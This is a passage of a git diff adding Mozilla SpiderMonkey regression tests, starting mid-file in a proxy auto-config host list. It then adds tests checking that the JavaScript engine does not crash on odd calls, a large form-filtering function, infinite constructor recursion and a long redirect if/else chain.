+ || dnsDomainIs(host, "www.irlgov.ie")
+ || dnsDomainIs(host, "www.isd.net")
+ || dnsDomainIs(host, "www.islandnet.com")
+ || dnsDomainIs(host, "www.isomedia.com")
+ || dnsDomainIs(host, "www.itftennis.com")
+ || dnsDomainIs(host, "www.itpi.dpi.state.nc.us")
+ || dnsDomainIs(host, "www.itskwanzaatime.com")
+ || dnsDomainIs(host, "www.itss.raytheon.com")
+ || dnsDomainIs(host, "www.iuma.com")
+ || dnsDomainIs(host, "www.iwaynet.net")
+ || dnsDomainIs(host, "www.iwc.com")
+ || dnsDomainIs(host, "www.iwight.gov.uk")
+ || dnsDomainIs(host, "www.ixpres.com")
+ || dnsDomainIs(host, "www.j.b.allen.btinternet.co.uk")
+ || dnsDomainIs(host, "www.jabuti.com")
+ || dnsDomainIs(host, "www.jackinthebox.com")
+ || dnsDomainIs(host, "www.jaffebros.com")
+ || dnsDomainIs(host, "www.jaguars.com")
+ || dnsDomainIs(host, "www.jamaica-gleaner.com")
+ || dnsDomainIs(host, "www.jamm.com")
+ || dnsDomainIs(host, "www.janbrett.com")
+ || dnsDomainIs(host, "www.janetstevens.com")
+ || dnsDomainIs(host, "www.japan-guide.com")
+ || dnsDomainIs(host, "www.jargon.net")
+ || dnsDomainIs(host, "www.javelinamx.com")
+ || dnsDomainIs(host, "www.jayjay.com")
+ || dnsDomainIs(host, "www.jazclass.aust.com")
+
+ )
+ return "PROXY proxy.hclib.org:80";
+ else
+ return "PROXY 172.16.100.20:8080";
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-89474.js b/js/src/tests/non262/regress/regress-89474.js
new file mode 100644
index 0000000000..a3cf5b2fa7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-89474.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 07 July 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 89474
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=89474
+ *
+ * This test used to crash the JS shell. This was discovered
+ * by Darren DeRidder <darren.deridder@icarusproject.com
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 89474;
+var summary = "Testing the JS shell doesn't crash on it.item()";
+var cnTest = 'it.item()';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ tryThis(cnTest); // Just testing that we don't crash on this
+
+ reportCompare('No Crash', 'No Crash', '');
+}
+
+
+function tryThis(sEval)
+{
+ try
+ {
+ eval(sEval);
+ }
+ catch(e)
+ {
+ // If we get here, we didn't crash.
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-90445.js b/js/src/tests/non262/regress/regress-90445.js
new file mode 100644
index 0000000000..c20fb16362
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-90445.js
@@ -0,0 +1,295 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-12
+ *
+ * SUMMARY: Regression test for bug 90445
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90445
+ *
+ * Just seeing if this script will compile without crashing.
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 90445;
+var summary = 'Testing this script will compile without crashing';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+// The big function -
+function compte() {
+ var mois = getValueFromOption(document.formtest.mois);
+ var region = document.formtest.region.options.selectedIndex;
+ var confort = document.formtest.confort.options.selectedIndex;
+ var encadrement = document.formtest.encadrement.options.selectedIndex;
+ var typeVillage = document.formtest.type_village.options.selectedIndex;
+ var budget = document.formtest.budget.value;
+ var sport1 = document.formtest.sport1.options.selectedIndex;
+ var sport2 = document.formtest.sport2.options.selectedIndex;
+ var sport3 = document.formtest.sport3.options.selectedIndex;
+ var activite1 = document.formtest.activite1.options.selectedIndex;
+ var activite2 = document.formtest.activite2.options.selectedIndex;
+ var activite3 = document.formtest.activite3.options.selectedIndex;
+
+ var ret = 0;
+ var liste;
+ var taille;
+ var bl;
+ var i;
+ var j;
+ V=[
+ [1,14,19,1,3,3,3,0,[10,13,17,18,22,23,26,27,29,9],[13,17,18,20,4,5,6,7,8]],
+ [1,14,18,1,1,3,3,0,[1,11,13,22,23,26,27,28,29,3,4,9],[13,17,18,20,6]],
+ [1,14,19,1,3,4,3,0,[13,17,18,22,23,25,26,27,4,9],[11,17,12,2,20,3,21,9,6]],
+ [1,14,19,1,1,3,3,0,[1,10,13,22,23,24,25,26,27,28,4,8,9],[13,17,6,9]],
+ [1,14,18,1,3,4,3,0,[12,13,22,23,27,28,7,9],[13,17,2,20,6,7,9]],
+ [1,14,19,5,4,2,3,0,[12,13,17,18,2,21,22,23,24,26,27,28,3,5,8,9],[1,10,13,17,18,19,20,5,21,7,8,9]],
+ [1,14,20,6,2,2,3,0,[11,13,2,22,23,26,27,3,4,5,8,9],[13,17,18,20,6,9]],
+ [1,14,19,6,3,4,3,0,[10,13,2,22,23,26,27,3,4,5,8,9],[13,17,18,19,20,21,9,6,5]],
+ [1,14,19,4,2,4,3,0,[13,17,2,22,26,28,3,5,6,7,8,9],[10,13,15,17,19,2,20,3,5,6,9]],
+ [1,14,19,8,4,4,3,0,[13,2,22,26,3,28,4,5,6,8,9],[14,15,17,18,19,2,20,21,9,7]],
+ [1,15,18,6,1,4,3,0,[10,11,13,14,15,2,23,26,27,5,8,9,6],[13,17,2,20,6,9]],
+ [1,14,19,2,3,5,3,0,[10,13,17,2,22,26,27,28,3,5,6,7,8,9],[1,10,13,15,17,18,19,20,6,7,9,22]],
+ [1,15,18,6,1,3,3,0,[12,13,15,2,22,23,26,4,5,9],[13,15,6,17,2,21,9]],
+ [1,19,21,1,4,4,3,0,[11,13,18,22,23,27,28,4],[17,2,20,21,9]],
+ [1,14,19,4,3,3,3,0,[10,13,17,2,22,23,24,26,27,3,4,6,8,9],[10,13,17,19,20,3,5,6,7,9]],
+ [1,13,19,6,3,3,3,0,[11,13,15,2,22,23,26,27,28,3,4,8,9],[1,13,17,18,20,6,9,22]],
+ [1,15,19,6,1,5,3,0,[10,13,2,22,23,26,27,4,5,8,11],[10,13,17,20,5,6,9]],
+ [1,15,18,6,3,2,1,0,[10,17,21,22,23,25,26,9],[13,16,17,20,21,8,9]],
+ [1,14,19,8,2,2,3,0,[13,16,21,22,23,24,26,27,3,4,5,6,8,9],[15,17,20,3,6,9]],
+ [1,14,19,5,3,2,3,0,[10,11,13,16,17,2,21,22,23,24,26,27,3,4,8,9],[1,10,13,17,18,19,20,5,6,7,9]],
+ [1,14,19,4,4,4,3,0,[10,13,2,22,23,26,27,3,4,5,6,7,8,9],[13,14,17,19,20,21,7,9]],
+ [1,14,19,1,3,2,3,0,[10,13,22,23,26,27,28,3,4,5,6,8,9],[15,17,18,2,20,6,8,9]],
+ [1,14,19,6,1,5,3,0,[10,11,13,22,25,26,4,5,7,8,9],[10,13,17,2,20,5,6,9]],
+ [1,14,19,6,4,4,3,0,[10,13,17,18,22,23,26,27,4,9,5],[1,13,14,17,18,20,3,21,7,8,9]],
+ [1,12,20,6,3,4,2,0,[10,13,14,17,18,22,23,25,26,27,29,9],[13,14,16,17,20,3,8,7,9]],
+ [1,14,19,1,3,3,3,0,[10,11,13,17,2,22,23,26,27,29,3,4,8,9],[1,10,13,14,15,17,18,20,5,21,7,8,9,25]],
+ [1,14,20,1,2,5,3,0,[12,13,17,22,23,26,28,3,4,8,9,27],[10,13,17,18,20,5,6,9,22]],
+ [1,14,19,1,2,3,3,0,[13,17,22,23,26,27,28,29,3,4,8,19],[13,17,18,20,6,7,8,9]],
+ [1,14,18,6,1,3,3,0,[12,13,15,2,22,23,26,27,28,4,9],[13,17,6,9]],
+ [1,14,19,5,3,4,3,0,[13,2,26,27,28,3,4,5,6],[1,10,13,15,17,18,2,20,3,21,7]],
+ [1,14,18,6,3,3,3,0,[13,2,22,23,26,27,8,3,4,5,9],[1,13,17,18,19,2,20,6,8,9,22]],
+ [1,14,19,6,4,3,2,0,[10,13,17,18,22,23,25,26,27,29],[13,14,16,17,3,7,8]],
+ [1,14,18,6,3,3,3,0,[13,22,23,26,27,28,3,4,5,7,8,9],[13,17,18,2,20,3,5,6,9]],
+ [1,14,20,1,3,2,3,0,[10,13,15,17,19,2,22,23,24,26,27,3,4,8,9],[13,17,18,20,6,7,8,9]],
+ [1,14,20,6,3,1,3,0,[10,13,16,2,22,23,26,27,3,4,6,8,9],[13,17,20,5,6,9]],
+ [1,14,19,3,3,3,3,0,[10,12,13,18,21,22,23,24,26,27,29,3,4,8,9],[1,10,17,20,6,8,9]],
+ [1,14,19,2,3,1,3,0,[12,13,17,2,22,23,24,26,27,28,4,8,9,19],[1,13,17,18,19,20,6,9]],
+ [1,14,19,5,4,2,3,0,[10,11,13,17,2,21,3,22,23,24,25,26,27,5,6,8,9],[13,17,20,3,21,9]],
+ [1,14,19,6,2,3,3,0,[13,22,23,26,27,28,3,4,5,7,8,9],[13,17,18,20,5,6,9]],
+ [1,14,20,6,3,2,3,0,[10,12,13,19,2,22,23,24,25,1,26,27,28,3,4,8,9],[10,13,17,18,20,3,5,6,7,8,9]],
+ [1,14,19,5,3,4,3,0,[12,13,2,26,27,28,3,4,5,6,8,9],[10,13,17,18,2,20,3,21,7]],
+ [1,14,19,6,3,4,3,0,[13,16,22,23,26,27,28,3,5,7,8,9],[10,13,17,18,19,2,20,5,6,7,8,9]],
+ [1,14,19,6,3,2,3,0,[10,13,22,23,24,25,26,27,3,4,7,8,9],[1,13,17,20,5,21,9,23]],
+ [1,14,18,6,2,2,3,0,[11,13,2,22,23,26,27,3,4,8,9],[1,13,14,15,17,18,19,2,20,6,7,8,5]],
+ [1,14,19,6,2,3,3,0,[13,17,2,22,23,26,27,4,5,7,9],[13,14,16,17,9,22]],
+ [1,14,19,8,3,2,3,0,[13,18,22,23,24,27,28,3,4,5,8,9],[15,16,17,18,19,2,20,6,9]],
+ [1,14,19,1,3,4,2,0,[13,17,18,22,23,26,27,29,9,11,8],[13,17,20,3,21,7,8,9,6]],
+ [1,15,18,6,4,4,1,0,[13,17,22,25,27,29],[14,16,3,7,8]],
+ [1,14,18,6,3,1,3,0,[12,13,16,17,18,19,2,22,23,26,27,3,4,9],[13,17,20,3,6,9]],
+ [1,14,19,6,2,3,2,0,[13,2,22,23,26,27,9],[13,16,17,9]],
+ [1,14,19,8,3,4,3,0,[13,22,26,5,6,7,8,9],[13,15,17,18,19,2,20,6,9]],
+ [1,14,20,1,2,2,3,0,[11,13,22,23,26,27,28,29,3,4,9],[13,17,18,20,6,9]],
+ [1,14,19,6,3,2,2,0,[10,13,17,18,22,23,24,25,26,27,9],[1,13,14,16,17,20,3,6,7,8,9]],
+ [1,14,18,6,3,5,3,0,[11,13,18,22,23,26,27,4,5,2],[1,10,13,17,2,20,5,6,9,22]],
+ [1,14,19,1,3,4,2,0,[17,22,23,26,27,13],[13,16,17,18,2,20,11,6,7,8,9]],
+ [1,15,18,6,1,2,3,0,[13,15,2,22,23,26,3,4,5,6,9],[1,13,17,20,6,9,5]],
+ [1,14,20,6,3,2,3,0,[10,11,24,13,2,22,23,26,27,3,4,5,7,8,9],[1,10,13,17,18,19,2,20,5,6,7,8,9,23]],
+ [1,14,19,4,4,4,3,0,[10,13,17,18,2,22,26,27,28,3,4,5,6,8,9,23],[14,15,17,19,2,20,3,21,7,9,10]],
+ [1,14,19,5,4,3,3,0,[10,13,17,21,22,23,26,27,5,8,9],[10,13,17,18,19,2,20,21,7,9]],
+ [1,14,19,7,4,4,3,0,[13,17,2,22,23,26,27,18,28,3,4,5,7,9],[10,13,17,18,19,2,20,3,21,9]],
+ [1,12,20,6,2,2,2,0,[10,11,13,17,18,22,23,25,26,27,29,8,9],[1,13,16,17,3,6,8,9,24]],
+ [1,14,18,6,3,3,1,0,[13,16,17,22,25,26,27,9],[13,16,17,20,21,8]],
+ [1,14,19,6,2,5,3,0,[13,17,2,22,23,26,27,4,5,9],[10,13,17,2,20,5,6,9]],
+ [1,14,19,6,2,3,3,0,[1,13,17,22,23,26,27,28,4,6,9],[13,17,18,20,6,9]],
+ [1,14,19,4,3,2,3,0,[12,13,17,19,2,22,23,24,26,27,28,3,4,5,8,9],[13,15,17,19,20,21,9,5]],
+ [1,14,19,5,4,2,3,0,[10,17,2,21,22,23,24,26,27,28,3,4,6,8,9],[1,10,13,14,17,19,20,3,21,7,8,9]],
+ [1,14,19,3,4,3,3,0,[10,12,13,2,21,22,23,26,27,4,7,8,9],[1,13,17,20,6,8,9]],
+ [1,14,19,5,3,2,1,0,[13,17,19,21,22,23,24,25,26,27,8,9],[1,14,17,3,6,8,13]],
+ [1,14,19,2,3,1,3,0,[10,11,13,17,18,19,22,24,26,27,4,7,8,9],[13,17,19,20,3,6,9]],
+ [1,14,19,6,2,3,3,0,[13,2,22,23,26,27,4,5,9],[1,13,17,18,20,6,9,24]],
+ [1,14,18,6,2,2,3,0,[11,13,22,23,24,25,26,27,3,4,5,6,8,9],[1,13,17,20,3,5,6,9]],
+ [1,14,18,1,2,2,3,0,[1,11,13,15,17,2,22,23,26,27,4,9],[1,13,17,18,20,6,9]],
+ [1,14,19,2,3,4,3,0,[10,13,22,26,27,28,29,3,4,5,6,7,8,9,36],[1,13,15,17,18,19,20,5,6,7,8,9]],
+ [1,14,19,6,2,1,2,0,[13,17,21,22,26,27,3,8,9],[13,17,20,6]],
+ [1,15,18,6,4,3,1,0,[10,13,16,17,20,22,25,27],[16,17,3,6,7,8,9]],
+ [1,14,19,4,3,5,3,0,[10,11,13,17,22,24,26,27,28,3,4,5,6,7,8,9],[10,13,15,17,2,20,3,6,7,9]],
+ [1,14,20,6,3,1,2,0,[10,11,17,18,19,22,23,25,26,27,29,8,9],[1,10,13,14,16,17,3,4,6,7,8,9]],
+ [1,15,18,6,3,3,1,0,[13,16,22,26,27,9,23],[13,16,17,20,21,6]],
+ [1,15,18,1,3,4,3,0,[10,13,17,2,22,23,25,26,27,28,29,4,9,12],[13,17,18,20,6,9,5]],
+ [1,21,25,6,2,1,4,0,[30,31,34,35],[6,3]],
+ [1,21,25,6,3,4,4,0,[30,31,34,35],[6,3]],
+ [1,20,25,1,3,3,3,0,[9,10,13,17,18,22,23,26,27,29],[20,18,17,13,8,7,6,5,4]],
+ [1,21,25,6,2,5,4,0,[30,31,34,35],[6,3]],
+ [1,21,25,6,3,3,4,0,[30,31,96,79,34,35],[6,7]],
+ [1,21,25,1,3,4,3,0,[4,9,13,17,18,22,23,25,26,27],[21,20,17,12,11,9,3,2]],
+ [1,21,25,6,2,3,4,0,[30,34],[6,3]],
+ [1,22,25,1,3,4,3,0,[7,9,12,13,22,23,27,28],[20,17,13,9,7,6,2]],
+ [1,21,25,6,3,3,4,0,[30,31,34,35],[6]],
+ [1,20,25,5,4,2,3,0,[2,3,5,8,9,12,13,17,18,21,22,23,24,26,27,28],[21,20,19,18,17,13,10,9,8,7,5,1]],
+ [1,20,25,8,4,4,3,0,[2,3,4,5,6,9,13,22,26,28],[21,20,19,18,17,15,9]],
+ [1,24,25,6,2,2,3,0,[2,3,4,5,6,8,9,11,13,22,23,26,27,29],[20,18,17,13,9,8,7,6]],
+ [1,20,25,4,2,4,3,0,[2,3,5,6,7,8,9,12,13,17,22,26,28],[20,19,17,15,13,10,9,6,5,3,2]],
+ [1,20,25,2,3,5,3,0,[2,3,5,6,7,8,9,10,13,17,22,26,27,28],[20,19,18,17,13,10,9,7,6,1]],
+ [1,20,25,4,3,3,3,0,[2,3,4,6,8,9,13,17,22,23,24,26,27],[20,19,17,13,10,9,7,6,5,3]],
+ [1,20,25,1,3,2,3,0,[3,4,5,6,8,9,10,13,22,23,26,27,28],[20,18,17,15,9,8,6,2]],
+ [1,21,25,2,3,3,4,0,[30,31,34,35],[6,3,7]],
+ [1,21,25,6,3,2,4,0,[30,34],[6,3]],
+ [1,20,25,5,3,2,3,0,[8,9,10,11,13,16,17,21,22,23,24,26,27],[20,19,18,17,13,10,9,7,6,5,1]],
+ [1,20,25,2,2,5,4,0,[30,31,34],[6,3,7]],
+ [1,20,25,4,4,4,3,0,[2,3,4,5,6,8,9,10,13,22,23,26,27],[21,20,19,17,14,13,9,7]],
+ [1,24,25,6,3,3,3,0,[2,3,4,8,9,11,13,15,22,23,26,27,28],[20,18,17,13,9,6,1]],
+ [1,22,25,1,4,4,3,0,[4,11,13,18,22,23,27,28],[21,20,17,9]],
+ [1,21,25,6,2,1,4,0,[30,34,35],[6,3]],
+ [1,20,25,6,4,4,3,0,[9,10,13,17,18,22,23,26,27],[21,20,18,17,14,13,9,8,7,3,1]],
+ [1,24,25,6,3,4,2,0,[9,10,13,17,18,22,23,25,26,27,29],[20,17,16,14,13,9,8,7,3]],
+ [1,20,25,1,3,3,3,0,[2,3,4,8,9,10,11,13,17,22,23,26,27,29],[21,20,18,17,15,14,13,10,9,8,7,5,1]],
+ [1,20,25,1,2,3,3,0,[3,4,8,11,13,17,22,23,26,27,28,29],[20,18,17,13,9,8,7,6]],
+ [1,20,25,5,3,4,3,0,[2,3,4,5,6,13,26,27,28],[21,20,18,17,15,13,10,3,2,1]],
+ [1,20,25,6,4,3,2,0,[10,13,17,18,22,23,25,26,27,29],[17,16,14,13,8,7,3]],
+ [1,21,25,6,2,1,4,0,[30,34,35],[6,3]],
+ [1,21,25,1,3,2,3,0,[2,3,4,8,9,10,13,15,17,19,22,23,24,26,27],[20,18,17,13,8,9,7,6]],
+ [1,20,25,2,3,3,3,0,[11,13,2,21,22,23,24,26,27,28,29,3,4,5,8,9],[1,13,17,18,19,2,20,3,6,7,9]],
+ [1,24,25,6,3,1,3,0,[2,3,4,6,8,9,10,13,16,22,23,26,27],[20,17,13,9,6,5]],
+ [1,20,25,3,3,3,3,0,[3,4,8,9,10,12,13,18,21,22,23,24,26,27,29],[20,17,10,9,8,6,1]],
+ [1,20,25,2,3,1,3,0,[2,4,8,9,12,13,17,22,23,24,26,27,28],[20,19,18,17,13,9,6,1]],
+ [1,20,25,5,4,2,3,0,[2,3,5,6,8,9,10,11,13,17,21,22,23,24,25,26,27],[21,20,17,13,9,3]],
+ [1,24,25,6,3,2,3,0,[2,3,4,8,9,10,13,19,22,23,24,25,26,27,28],[20,18,17,13,10,9,8,7,6,5,3]],
+ [1,21,25,6,2,1,4,0,[30,31,33,34],[6]],
+ [1,20,25,8,3,2,3,0,[3,4,5,8,9,13,17,18,22,23,24,27,28],[20,19,18,17,15,9,6]],
+ [1,21,25,6,4,4,4,0,[30,31,27,10,34],[6,3,7]],
+ [1,21,25,6,4,4,4,0,[30,31,34],[6,3,7]],
+ [1,20,25,1,3,4,2,0,[9,13,17,18,22,23,26,27,29],[20,17,13,9,8,7,6,3]],
+ [1,20,25,7,4,4,3,0,[2,3,4,5,7,9,13,17,18,22,23,26,27,28],[21,20,19,18,17,13,10,9,3,2]],
+ [1,21,25,6,4,4,4,0,[30,31,34],[6,7]],
+ [1,21,25,6,3,3,4,0,[30,31,35],[6,3]],
+ [1,20,25,8,3,4,3,0,[5,6,7,8,9,13,22,26,28],[20,19,18,17,15,13,9,6,2]],
+ [1,21,25,1,2,2,3,0,[3,4,9,11,13,22,23,26,27,28,29],[20,18,17,13,9,6]],
+ [1,20,25,6,3,2,2,0,[9,10,13,17,18,22,23,25,26,27],[20,17,16,14,13,9,8,7,6,3,1]],
+ [1,24,25,6,3,2,3,0,[2,3,4,5,7,8,9,10,11,13,22,23,24,26,27],[20,19,18,17,13,10,9,8,7,6,5,2,1]],
+ [1,20,25,2,3,5,3,0,[29,24,13,4,5,22,23,16,2,28,9,10],[7,13,5,1,15,3,9,6,17]],
+ [1,20,25,4,3,2,3,0,[2,3,4,5,6,8,9,12,13,17,19,22,23,24,26,27,28],[20,19,17,13,9]],
+ [1,20,25,5,4,3,3,0,[3,4,5,8,9,10,13,17,21,22,23,26,27],[21,20,19,18,17,13,10,9,7,2]],
+ [1,20,25,4,4,4,3,0,[2,3,4,5,6,8,9,10,13,17,18,22,23,26,27,28],[21,20,19,17,15,14,9,7,3,2]],
+ [1,21,25,6,3,3,4,0,[30,31,10,34],[6,3,7]],
+ [1,20,25,6,2,3,3,0,[1,4,6,9,13,17,22,23,26,27,28],[20,18,17,13,9,6]],
+ [1,21,25,6,2,2,2,0,[8,9,10,11,13,17,18,22,23,25,26,27,29],[17,16,13,9,8,6,3,1]],
+ [1,21,25,6,3,4,4,0,[30,32,33,27,34],[6,7]],
+ [1,20,25,3,4,3,3,0,[2,4,7,8,9,10,12,13,21,22,23,26,27],[20,17,13,9,8,6,1]],
+ [1,20,25,6,2,3,3,0,[],[20,18,17,13,9,6,1]],
+ [1,20,25,2,3,1,3,0,[4,7,8,9,10,11,13,17,18,19,22,24,26,27],[20,19,17,13,9,6,3]],
+ [1,20,25,5,3,2,4,0,[30,31,96],[6,3,7]],
+ [1,20,25,2,3,4,3,0,[3,4,5,6,7,8,9,10,13,22,26,27,28,29],[20,19,18,17,13,9,8,7,6,5,1]],
+ [1,21,25,6,3,3,4,0,[30,31,27,10,34],[6,7]],
+ [1,21,25,4,3,2,3,0,[3,4,5,6,8,9,10,11,13,18,19,22,23,26,27],[20,17,13,9]],
+ [1,21,25,6,4,3,4,0,[30,31,27,10,35],[6,7]],
+ [1,21,25,6,2,2,4,0,[30,34],[6,3]],
+ [1,24,25,6,2,1,2,0,[3,8,9,13,17,21,22,26,27],[20,17,13,6]],
+ [1,20,25,4,3,5,3,0,[3,4,5,6,7,8,9,10,11,13,17,22,24,26,27,28],[20,17,15,13,10,9,7,6,3,2]],
+ [1,20,26,6,4,3,4,0,[30,31,27,10,34,35],[6,3,7]],
+ [1,21,25,6,2,3,4,0,[30,33,34],[6]],
+ [1,21,25,6,3,1,2,0,[8,9,10,11,17,18,19,22,23,25,26,27,29],[17,16,14,13,10,9,8,7,6,4,3,1]],
+ [1,21,25,6,4,4,4,0,[30,31,10,34,35],[6,7]],
+ [1,21,25,6,3,2,4,0,[30,31,33,34],[6,3]],
+ [1,21,26,6,3,5,4,0,[30,31],[6,3]],
+ [1,21,25,6,2,1,4,0,[30,34,35],[6,3]],
+ [1,21,25,6,3,3,4,0,[30,34],[6]],
+ [1,20,25,8,2,2,3,0,[3,4,5,6,8,9,13,16,21,22,23,24,26,27],[20,17,15,9,6,3]],
+ [1,20,25,5,3,4,3,0,[2,3,4,5,6,8,9,12,13,26,27,28],[21,20,18,17,13,10,3,2]],
+ [1,20,25,5,4,2,3,0,[3,4,6,8,9,10,17,21,22,23,24,26,27,28],[21,20,19,17,14,13,10,9,8,7,3,1]],
+ [1,13,19,6,2,3,3,0,[2,3,13,22,19,8,9,12,27],[9,6,17,20]],
+ [1,15,18,2,3,3,1,0,[25,24,13,16,19,8,9,10,17,22,29,23],[16,8,3,21,17,19]],
+ [1,14,19,2,3,3,3,0,[13,2,21,22,23,24,26,27,28,29,3,4,5,8,9,17],[1,13,17,18,19,2,20,3,6,7,9]],
+ [1,15,18,6,4,4,1,0,[29,16,17,22,27,10],[16,8,3,14,7]],
+ [1,14,20,6,3,4,3,0,[3,4,2,5,13,22,23,27,8,9],[20,7,8,2,9,21,17]],
+ [1,14,19,2,3,5,3,0,[29,24,13,4,5,22,23,16,2,28,9,10],[7,13,5,1,15,3,9,6,17]],
+ [1,15,18,6,3,2,1,0,[25,13,22,23,17,29,16,9],[16,21,17,20]],
+ [1,24,25,6,2,3,3,0,[],[]],
+ [1,21,25,1,2,5,3,0,[],[]],
+ [1,21,25,6,3,4,3,0,[],[]]
+ ];
+
+ var nbVillages = V.length;
+
+ for (i=0; i<nbVillages; i++) {
+ if ((((mois == 0) && (1==V[i][0])) || ((mois >= V[i][1]) && (mois <= V[i][2]))) &&
+ ((region == 0) || (region == V[i][3] )) &&
+ ((confort == 0) || (confort == V[i][4] )) &&
+ ((encadrement == 0) ||
+ ((encadrement==3)&&((V[i][5]==1)||(V[i][5]==2)||(V[i][5] == 3))) ||
+ ((encadrement==2)&&((V[i][5]==1)||(V[i][5]==2) )) ||
+ ((encadrement==1)&&(encadrement==V[i][5]) ) ||
+ ((encadrement>3)&&(encadrement==V[i][5]) )) &&
+ ((typeVillage == 0) || (typeVillage == V[i][6] )) &&
+ ((budget == 0) || (budget == V[i][7] ))) {
+
+ bl = 1;
+ if ((sport1 != 0) || (sport2 != 0) || (sport3 != 0)) {
+ bl = 0;
+ liste = V[i][8];
+ taille = liste.length;
+ for (j=0; j<taille; j++) {
+ if ((sport1 == 0) || ((sport1 != 0) && (sport1 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ if (bl == 1) {
+ bl = 0;
+ for (j=0; j<taille; j++) {
+ if ((sport2 == 0) || ((sport2 != 0) && (sport2 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ }
+ if (bl == 1) {
+ bl = 0;
+ for (j=0; j<taille; j++) {
+ if ((sport3 == 0) || ((sport3 != 0) && (sport3 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ }
+ }
+ if ((bl==1) && ((activite1 != 0) || (activite2 != 0) || (activite3 != 0))) {
+ bl = 0;
+ liste = V[i][9];
+ taille = liste.length;
+ for (j=0; j<taille; j++) {
+ if ((activite1 == 0) || ((activite1 != 0) && (activite1 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ if (bl == 1) {
+ bl = 0;
+ for (j=0; j<taille; j++) {
+ if ((activite2 == 0) || ((activite2 != 0) && (activite2 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ }
+ if (bl == 1) {
+ bl = 0;
+ for (j=0; j<taille; j++) {
+ if ((activite3 == 0) || ((activite3 != 0) && (activite3 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ }
+ }
+ if (1 == bl) {
+ ret++;
+ }
+ }
+ }
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-96128-n.js b/js/src/tests/non262/regress/regress-96128-n.js
new file mode 100644
index 0000000000..4d7cbb0e64
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-96128-n.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 29 Aug 2001
+ *
+ * SUMMARY: Negative test that JS infinite recursion protection works.
+ * We expect the code here to fail (i.e. exit code 3), but NOT crash.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96128
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 96128;
+var summary = 'Testing that JS infinite recursion protection works';
+
+
+function objRecurse()
+{
+ /*
+ * jband:
+ *
+ * Causes a stack overflow crash in debug builds of both the browser
+ * and the shell. In the release builds this is safely caught by the
+ * "too much recursion" mechanism. If I remove the 'new' from the code below
+ * this is safely caught in both debug and release builds. The 'new' causes a
+ * lookup for the Constructor name and seems to (at least) double the number
+ * of items on the C stack for the given interpLevel depth.
+ */
+ return new objRecurse();
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // we expect this to fail (exit code 3), but NOT crash. -
+ var obj = new objRecurse();
+}
diff --git a/js/src/tests/non262/regress/regress-96526-001.js b/js/src/tests/non262/regress/regress-96526-001.js
new file mode 100644
index 0000000000..bbde0ce597
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-96526-001.js
@@ -0,0 +1,504 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Sep 2002
+ * SUMMARY: Just seeing that we don't crash when compiling this script -
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 96526;
+printBugNumber(BUGNUMBER);
+printStatus("Just seeing that we don't crash when compiling this script -");
+
+
+/*
+ * Function definition with lots of branches, from http://www.newyankee.com
+ */
+function setaction(jumpto)
+{
+ if (jumpto == 0) window.location = "http://www.newyankee.com/GetYankees2.cgi?1.jpg";
+ else if (jumpto == [0]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ImageName";
+ else if (jumpto == [1]) window.location = "http://www.newyankee.com/GetYankees2.cgi?1.jpg";
+ else if (jumpto == [2]) window.location = "http://www.newyankee.com/GetYankees2.cgi?arsrferguson.jpg";
+ else if (jumpto == [3]) window.location = "http://www.newyankee.com/GetYankees2.cgi?akjamesmartin.jpg";
+ else if (jumpto == [4]) window.location = "http://www.newyankee.com/GetYankees2.cgi?aldaverackett.jpg";
+ else if (jumpto == [5]) window.location = "http://www.newyankee.com/GetYankees2.cgi?alericbrasher.jpg";
+ else if (jumpto == [6]) window.location = "http://www.newyankee.com/GetYankees2.cgi?algeorgewatkins.jpg";
+ else if (jumpto == [7]) window.location = "http://www.newyankee.com/GetYankees2.cgi?altoddcruise.jpg";
